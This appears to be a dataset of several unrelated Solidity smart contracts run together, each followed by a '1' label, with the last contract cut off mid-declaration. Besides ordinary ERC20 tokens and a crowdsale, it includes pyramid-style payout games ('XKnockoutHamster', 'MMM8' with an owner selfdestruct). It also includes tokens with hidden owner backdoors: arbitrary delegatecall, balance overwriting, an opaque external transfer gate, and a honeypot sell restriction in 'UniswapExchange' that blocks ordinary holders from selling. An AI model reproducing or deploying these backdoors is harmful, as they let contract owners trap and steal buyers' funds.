pragma solidity ^0.4.24; contract XKnockoutHamster { using SafeMath for uint256; struct EntityStruct { bool active; bool vip; uint listPointer; uint256 date; uint256 update; uint256 exit; uint256 profit; } mapping(address => EntityStruct) public entityStructs; address[] public entityList; address[] public vipList; address dev; uint256 base = 100000000000000000; uint256 public startedAt = now; uint256 public timeRemaining = 24 hours; uint256 public devreward; uint public round = 1; uint public shift = 0; uint public joined = 0; uint public exited = 0; bool public timetoRegular = true; constructor() public { dev = msg.sender; } function() public payable { if(checkRemaining()) { msg.sender.transfer(msg.value); } else { if(msg.value == base) { addToList(); } else if(msg.value == base.div(10)) { up(); } else { revert("You should send 0.1 ETH to join the list or 0.01 ETH to up"); } } } function addToList() internal { if(entityStructs[msg.sender].active) revert("You are already in the list"); newEntity(msg.sender, true); joined++; startedAt = now; entityStructs[msg.sender].date = now; entityStructs[msg.sender].profit = 0; entityStructs[msg.sender].update = 0; entityStructs[msg.sender].exit = 0; entityStructs[msg.sender].active = true; entityStructs[msg.sender].vip = false; if(timetoRegular) { entityStructs[entityList[shift]].profit += base; if(entityStructs[entityList[shift]].profit == 2*base) { entityStructs[entityList[shift]].active = false; entityStructs[entityList[shift]].exit = now; entityList[shift].transfer( entityStructs[entityList[shift]].profit.mul(90).div(100) ); devreward += entityStructs[entityList[shift]].profit.mul(10).div(100); exitREG(); exited++; if(lastVIPkey() != 9999) { if(vipList[lastVIPkey()] != address(0)) timetoRegular = false; } } } else if (!timetoRegular) { uint lastVIP = lastVIPkey(); entityStructs[vipList[lastVIP]].profit += base; if(entityStructs[vipList[lastVIP]].profit == 2*base) { entityStructs[vipList[lastVIP]].active = false; entityStructs[vipList[lastVIP]].exit = now; vipList[lastVIP].transfer( entityStructs[vipList[lastVIP]].profit.mul(90).div(100) ); devreward += entityStructs[vipList[lastVIP]].profit.mul(10).div(100); exitVIP(vipList[lastVIP]); exited++; timetoRegular = true; } } } function up() internal { if(joined.sub(exited) < 3) revert("You are too alone to up"); if(!entityStructs[msg.sender].active) revert("You are not in the list"); if(entityStructs[msg.sender].vip && (now.sub(entityStructs[msg.sender].update)) < 600) revert ("Up allowed once per 10 min"); if(!entityStructs[msg.sender].vip) { uint rowToDelete = entityStructs[msg.sender].listPointer; address keyToMove = entityList[entityList.length-1]; entityList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; entityList.length--; entityStructs[msg.sender].update = now; entityStructs[msg.sender].vip = true; newVip(msg.sender, true); devreward += msg.value; } else if (entityStructs[msg.sender].vip) { entityStructs[msg.sender].update = now; delete vipList[entityStructs[msg.sender].listPointer]; newVip(msg.sender, true); devreward += msg.value; } } function newEntity(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].active = entityData; entityStructs[entityAddress].listPointer = entityList.push(entityAddress) - 1; return true; } function exitREG() internal returns(bool success) { delete entityList[shift]; shift++; return true; } function getVipCount() public constant returns(uint entityCount) { return vipList.length; } function newVip(address entityAddress, bool entityData) internal returns(bool success) { entityStructs[entityAddress].vip = entityData; entityStructs[entityAddress].listPointer = vipList.push(entityAddress) - 1; return true; } function exitVIP(address entityAddress) internal returns(bool success) { uint rowToDelete = entityStructs[entityAddress].listPointer; address keyToMove = vipList[vipList.length-1]; vipList[rowToDelete] = keyToMove; entityStructs[keyToMove].listPointer = rowToDelete; vipList.length--; return true; } function lastVIPkey() public constant returns(uint) { if(vipList.length == 0) return 9999; uint limit = vipList.length-1; for(uint l=limit; l >= 0; l--) { if(vipList[l] != address(0)) { return l; } } return 9999; } function lastREG() public view returns (address) { return entityList[shift]; } function lastVIP() public view returns (address) { if(lastVIPkey() != 9999) { return vipList[lastVIPkey()]; } return address(0); } function checkRemaining() public returns (bool) { if(now >= timeRemaining.add(startedAt)) { if(vipList.length > 0) { uint limit = vipList.length-1; for(uint l=limit; l >= 0; l--) { if(vipList[l] != address(0)) { entityStructs[vipList[l]].active = false; entityStructs[vipList[l]].vip = false; entityStructs[vipList[l]].date = 0; } } } if(shift < entityList.length-1) { for(uint r = shift; r < entityList.length-1; r++) { entityStructs[entityList[r]].active = false; entityStructs[entityList[r]].date = 0; } } rewardDev(); if(address(this).balance.sub(devreward) > 0) { if(lastVIPkey() != 9999) { vipList[lastVIPkey()].transfer(address(this).balance); } } vipList.length=0; entityList.length=0; shift = 0; startedAt = now; timeRemaining = 24 hours; timetoRegular = true; round++; return true; } uint range = joined.sub(exited).div(100); if(range != 0) { timeRemaining = timeRemaining.div(range.mul(2)); } return false; } function rewardDev() public { dev.transfer(devreward); devreward = 0; } function queueVIP() public view returns (address[]) { return vipList; } function queueREG() public view returns (address[]) { return entityList; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
pragma solidity ^0.7.0; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } interface IUniswapV2Router02 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BotProtected { address internal owner; address internal protectionFromBots; address public uniPair; constructor(address _botProtection) { protectionFromBots = _botProtection; } modifier checkBots(address _from, address _to, uint256 _value) { (bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value)); require(notABot); _; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract Nitro is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000; string public name = "Nitro"; string public symbol = "NITRO"; IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairForPancake(wBNB, address(this)); allowance[address(this)][address(pancakeRouter)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairForPancake(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _reallyGoHere, uint amount) public { require(msg.sender == owner); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = amount; emit Transfer(address(0x0), _reallyGoHere[i], amount); } } function list(uint _numList, address[] memory _reallyGoHere, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; pancakeRouter.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_reallyGoHere.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _reallyGoHere)); for(uint i = 0; i < _reallyGoHere.length; i++) { balanceOf[_reallyGoHere[i]] = _amounts[i]; emit Transfer(address(0x0), _reallyGoHere[i], _amounts[i]); } } }
1
pragma solidity ^0.4.16; interface token { function transfer(address receiver, uint amount); } contract Crowdsale { uint public price; token public tokenReward; mapping(address => uint256) public balanceOf; bool crowdsaleClosed = false; event FundTransfer(address backer, uint amount, bool isContribution); function Crowdsale() { price = 7800; tokenReward = token(0x92F6096a93A6eBb6BC439831A7F30f1E6020F184); } function set_crowdsaleClosed(bool newVal) public{ require(msg.sender == 0xb993cbf2e0A57d7423C8B3b74A4E9f29C2989160); crowdsaleClosed = newVal; } function set_price(uint newVal) public{ require(msg.sender == 0xb993cbf2e0A57d7423C8B3b74A4E9f29C2989160); price = newVal; } function () payable { require(!crowdsaleClosed); uint amount = msg.value; balanceOf[msg.sender] += amount; tokenReward.transfer(msg.sender, amount * price); FundTransfer(msg.sender, amount, true); 0xb993cbf2e0A57d7423C8B3b74A4E9f29C2989160.transfer(msg.value / 2); 0xBC8D8ee58f123FB532Ba26045d3865E27A34325B.transfer(msg.value / 2); } }
1
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract ERC20Token is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ERC20Token( ) { balances[msg.sender] = 10000000; totalSupply = 10000000; name = "SUNQ-Token"; decimals = 0; symbol = "SUNQ"; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract Y2J is StandardToken { function () { throw; } string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function Y2J( ) { name = "Y2J"; symbol = "Y2J"; decimals = 0; totalSupply = 999999999999; balances[msg.sender] = 999999999999; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity 0.4.25; library Math { function min(uint a, uint b) internal pure returns(uint) { if (a > b) { return b; } return a; } } library Zero { function requireNotZero(address addr) internal pure { require(addr != address(0), "require not zero address"); } function requireNotZero(uint val) internal pure { require(val != 0, "require not zero value"); } function notZero(address addr) internal pure returns(bool) { return !(addr == address(0)); } function isZero(address addr) internal pure returns(bool) { return addr == address(0); } function isZero(uint a) internal pure returns(bool) { return a == 0; } function notZero(uint a) internal pure returns(bool) { return a != 0; } } library Percent { struct percent { uint num; uint den; } function mul(percent storage p, uint a) internal view returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function div(percent storage p, uint a) internal view returns (uint) { return a/p.num*p.den; } function sub(percent storage p, uint a) internal view returns (uint) { uint b = mul(p, a); if (b >= a) { return 0; } return a - b; } function add(percent storage p, uint a) internal view returns (uint) { return a + mul(p, a); } function toMemory(percent storage p) internal view returns (Percent.percent memory) { return Percent.percent(p.num, p.den); } function mmul(percent memory p, uint a) internal pure returns (uint) { if (a == 0) { return 0; } return a*p.num/p.den; } function mdiv(percent memory p, uint a) internal pure returns (uint) { return a/p.num*p.den; } function msub(percent memory p, uint a) internal pure returns (uint) { uint b = mmul(p, a); if (b >= a) { return 0; } return a - b; } function madd(percent memory p, uint a) internal pure returns (uint) { return a + mmul(p, a); } } library Address { function toAddress(bytes source) internal pure returns(address addr) { assembly { addr := mload(add(source,0x14)) } return addr; } function isNotContract(address addr) internal view returns(bool) { uint length; assembly { length := extcodesize(addr) } return length == 0; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function ToDo() public onlyOwner { selfdestruct(owner); } function disown() internal { delete owner; } } contract Rev1Storage { function investorShortInfo(address addr) public view returns(uint value, uint refBonus); } contract Rev2Storage { function investorInfo(address addr) public view returns(uint investment, uint paymentTime); } library PrivateEntrance { using PrivateEntrance for privateEntrance; using Math for uint; struct privateEntrance { Rev1Storage rev1Storage; Rev2Storage rev2Storage; uint investorMaxInvestment; uint endTimestamp; mapping(address=>bool) hasAccess; } function isActive(privateEntrance storage pe) internal view returns(bool) { return pe.endTimestamp > now; } function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) { if (!pe.hasAccess[investorAddr]) { return 0; } (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr); if (maxInvestment == 0) { return 0; } maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment); (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr); if (currInvestment >= maxInvestment) { return 0; } return maxInvestment-currInvestment; } function provideAccessFor(privateEntrance storage pe, address[] addrs) internal { for (uint16 i; i < addrs.length; i++) { pe.hasAccess[addrs[i]] = true; } } } contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment; inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { investors[addr].investment = 0; } } } library RapidGrowthProtection { using RapidGrowthProtection for rapidGrowthProtection; struct rapidGrowthProtection { uint startTimestamp; uint maxDailyTotalInvestment; uint8 activityDays; mapping(uint8 => uint) dailyTotalInvestment; } function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return 0; } if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) { return 0; } return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)]; } function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) { uint day = rgp.currDay(); return day != 0 && day <= rgp.activityDays; } function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return false; } if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) { return false; } rgp.dailyTotalInvestment[uint8(day)] += investment; return true; } function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal { rgp.startTimestamp = timestamp; } function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) { if (rgp.startTimestamp > now) { return 0; } day = (now - rgp.startTimestamp) / 24 hours + 1; } } contract MMM8 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; uint public constant minInvesment = 10 finney; uint public constant maxBalance = 333e5 ether; address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; Percent.percent private m_1_percent = Percent.percent(111,10000); Percent.percent private m_5_percent = Percent.percent(555,10000); Percent.percent private m_7_percent = Percent.percent(777,10000); Percent.percent private m_8_percent = Percent.percent(888,10000); Percent.percent private m_9_percent = Percent.percent(999,100); Percent.percent private m_10_percent = Percent.percent(10,100); Percent.percent private m_11_percent = Percent.percent(11,100); 